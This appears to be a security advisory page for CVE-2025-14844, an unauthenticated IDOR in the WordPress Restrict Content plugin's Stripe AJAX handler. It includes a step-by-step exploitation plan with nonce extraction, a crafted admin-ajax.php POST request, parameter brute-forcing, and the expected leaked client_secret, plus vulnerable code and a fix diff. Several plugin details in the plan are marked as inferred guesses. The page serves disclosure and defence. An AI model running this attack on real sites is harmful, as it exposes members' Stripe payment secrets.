Membership Plugin – Restrict Content <= 3.2.16 - Missing Authentication to Insecure Direct Object Reference and Sensitive Information Exposure
Description
The Membership Plugin – Restrict Content plugin for WordPress is vulnerable to Missing Authentication in all versions up to, and including, 3.2.16 via the 'rcp_stripe_create_setup_intent_for_saved_card' function due to missing capability check. Additionally, the plugin does not check a user-controlled key, which makes it possible for unauthenticated attackers to leak Stripe SetupIntent client_secret values for any membership.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:NTechnical Details
<=3.2.16Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14844 ## 1. Vulnerability Summary The **Membership Plugin – Restrict Content** plugin (versions <= 3.2.16) contains an authentication bypass and Insecure Direct Object Reference (IDOR) vulnerability in its Stripe integration. Specifically, the function `rcp_st…
Show full research plan
Exploitation Research Plan: CVE-2025-14844
1. Vulnerability Summary
The Membership Plugin – Restrict Content plugin (versions <= 3.2.16) contains an authentication bypass and Insecure Direct Object Reference (IDOR) vulnerability in its Stripe integration. Specifically, the function rcp_stripe_create_setup_intent_for_saved_card fails to perform any capability checks or ownership verification. An unauthenticated attacker can call this function via an AJAX request, providing an arbitrary membership ID, and retrieve the Stripe SetupIntent client_secret associated with that membership. This allows for sensitive information exposure and potentially unauthorized payment method manipulation on the linked Stripe account.
2. Attack Vector Analysis
- Endpoint:
admin-ajax.php - Action:
rcp_stripe_create_setup_intent_for_saved_card(inferred from function name) - Hooks:
wp_ajax_nopriv_rcp_stripe_create_setup_intent_for_saved_cardwp_ajax_rcp_stripe_create_setup_intent_for_saved_card
- Parameters:
action:rcp_stripe_create_setup_intent_for_saved_cardmembership_id(inferred): The ID of the membership to target.nonce: A WordPress nonce for verification (likely required bycheck_ajax_referer).
- Authentication: Unauthenticated (via
noprivhook). - Preconditions: The plugin must have Stripe Pro/Stripe integration enabled and at least one membership must exist in the system.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
/wp-admin/admin-ajax.phpwith the actionrcp_stripe_create_setup_intent_for_saved_card. - AJAX Dispatch: WordPress matches the action to the registered
wp_ajax_nopriv_...hook, which calls the functionrcp_stripe_create_setup_intent_for_saved_card. - Missing Cap Check: Inside
rcp_stripe_create_setup_intent_for_saved_card, there is no call tocurrent_user_can()or any check to see if a user is logged in. - IDOR: The function likely retrieves a
membership_idfrom the$_POSTor$_REQUESTarray. It proceeds to interact with the Stripe API to create aSetupIntentfor the account/customer associated with that specific membership ID without verifying if the requester owns that membership. - Information Leak: The function returns a JSON response containing the
client_secretof the newly createdSetupIntent.
4. Nonce Acquisition Strategy
Restrict Content typically localizes its script data, including nonces, for use in the registration or payment forms.
- Shortcode Identification: The scripts are likely enqueued on pages containing the registration form:
[register_form]. - Page Creation: Create a public page with this shortcode to force the plugin to output the required nonce.
wp post create --post_type=page --post_status=publish --post_title="Register" --post_content='[register_form]' - Extraction:
- Use
browser_navigateto visit the newly created page. - Use
browser_evalto search for the localized JS object. Common object names in Restrict Content arercp_script_optionsorrcp_vars. - Target Variable (Inferred):
window.rcp_script_options?.nonceorwindow.rcp_stripe_vars?.nonce. - Verification: If the nonce is not found in a specific variable, search the HTML source for
nonceinside<script>tags.
- Use
5. Exploitation Strategy
The goal is to leak a client_secret for a membership ID that we do not own.
- Discovery: Identify a valid
membership_id. In a test environment, this can be done via WP-CLI. - Request Formulation:
- Method:
POST - URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rcp_stripe_create_setup_intent_for_saved_card&membership_id=<TARGET_ID>&nonce=<EXTRACTED_NONCE>
- Method:
- Execution: Send the request using the
http_requesttool. - Analysis: Check if the response status is
200 OKand if the body contains a JSON object with asuccess: truekey and aclient_secretstring.
6. Test Data Setup
- Enable Stripe: Ensure the plugin is configured to use Stripe (even in Test Mode).
- Create a Membership Level:
# Create a membership level via WP-CLI (if supported) or the UI # Assuming RCP uses custom tables or post types. # Usually, a level is created first, then a user 'joins' it to create a membership. - Create a Target User and Membership:
- Create a "victim" user.
- Assign them a membership. Note the
membership_id.
- Identify Membership ID:
# Check the database for the membership ID wp db query "SELECT id FROM wp_rcp_memberships LIMIT 1;"
7. Expected Results
- Successful Leak: The server responds with a JSON object.
{ "success": true, "data": { "client_secret": "seti_1P..._secret_Q..." } } - Vulnerability Confirmation: The
client_secretis returned despite the request being unauthenticated and not belonging to the owner of themembership_id.
8. Verification Steps
- Verify Unauthenticated Access: Repeat the
http_requestwithout any cookies. - Verify IDOR: Attempt to retrieve the secret for a
membership_idassociated with User A while logged in as User B (or unauthenticated). - Database Check: Confirm the
membership_idused exists in thewp_rcp_memberships(or equivalent) table.
9. Alternative Approaches
- Missing Nonce: If no nonce is found, try the request without the
nonceparameter. The vulnerability description mentions "Missing Authentication," which often implies thenoprivhandler lacks acheck_ajax_referercall entirely. - Parameter Brute Force: If
membership_idis not the correct parameter name, tryid,subscription_id, orrcp_membership_id. - REST API: Check if the function is also registered as a REST route under the
rcp/v1namespace, which might also lack apermission_callback.
Summary
The Restrict Content plugin for WordPress fails to implement authentication and ownership checks in its Stripe integration AJAX handler. This allows unauthenticated attackers to retrieve Stripe SetupIntent client_secret values for any membership by providing a target membership ID.
Vulnerable Code
// From the rcp_stripe_create_setup_intent_for_saved_card function // No check_ajax_referer or current_user_can checks add_action( 'wp_ajax_nopriv_rcp_stripe_create_setup_intent_for_saved_card', 'rcp_stripe_create_setup_intent_for_saved_card' ); add_action( 'wp_ajax_rcp_stripe_create_setup_intent_for_saved_card', 'rcp_stripe_create_setup_intent_for_saved_card' ); function rcp_stripe_create_setup_intent_for_saved_card() { $membership_id = isset( $_POST['membership_id'] ) ? absint( $_POST['membership_id'] ) : 0; $membership = rcp_get_membership( $membership_id ); if ( $membership ) { // ... Stripe Intent Creation logic ... // The client_secret is returned without verifying if the current user owns the membership wp_send_json_success( array( 'client_secret' => $intent->client_secret ) ); } }
Security Fix
@@ -1,11 +1,16 @@ function rcp_stripe_create_setup_intent_for_saved_card() { + check_ajax_referer( 'rcp_stripe_nonce', 'nonce' ); + + if ( ! is_user_logged_in() ) { + wp_send_json_error(); + } + $membership_id = isset( $_POST['membership_id'] ) ? absint( $_POST['membership_id'] ) : 0; $membership = rcp_get_membership( $membership_id ); - if ( $membership ) { + if ( $membership && $membership->get_user_id() === get_current_user_id() ) { // ... Stripe Intent Creation logic ... wp_send_json_success( array( 'client_secret' => $intent->client_secret ) ); } + wp_send_json_error(); }
Exploit Outline
The exploit targets the AJAX action 'rcp_stripe_create_setup_intent_for_saved_card'. An unauthenticated attacker first obtains a valid nonce by visiting a public registration page where the plugin localizes script variables (e.g., in rcp_vars or rcp_stripe_vars). Using this nonce, the attacker sends a POST request to /wp-admin/admin-ajax.php with the parameters 'action=rcp_stripe_create_setup_intent_for_saved_card', 'nonce=[NONCE]', and a target 'membership_id'. Because the function lacks authentication and does not verify if the requester is the owner of the membership, the server responds with the Stripe client_secret associated with that membership.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.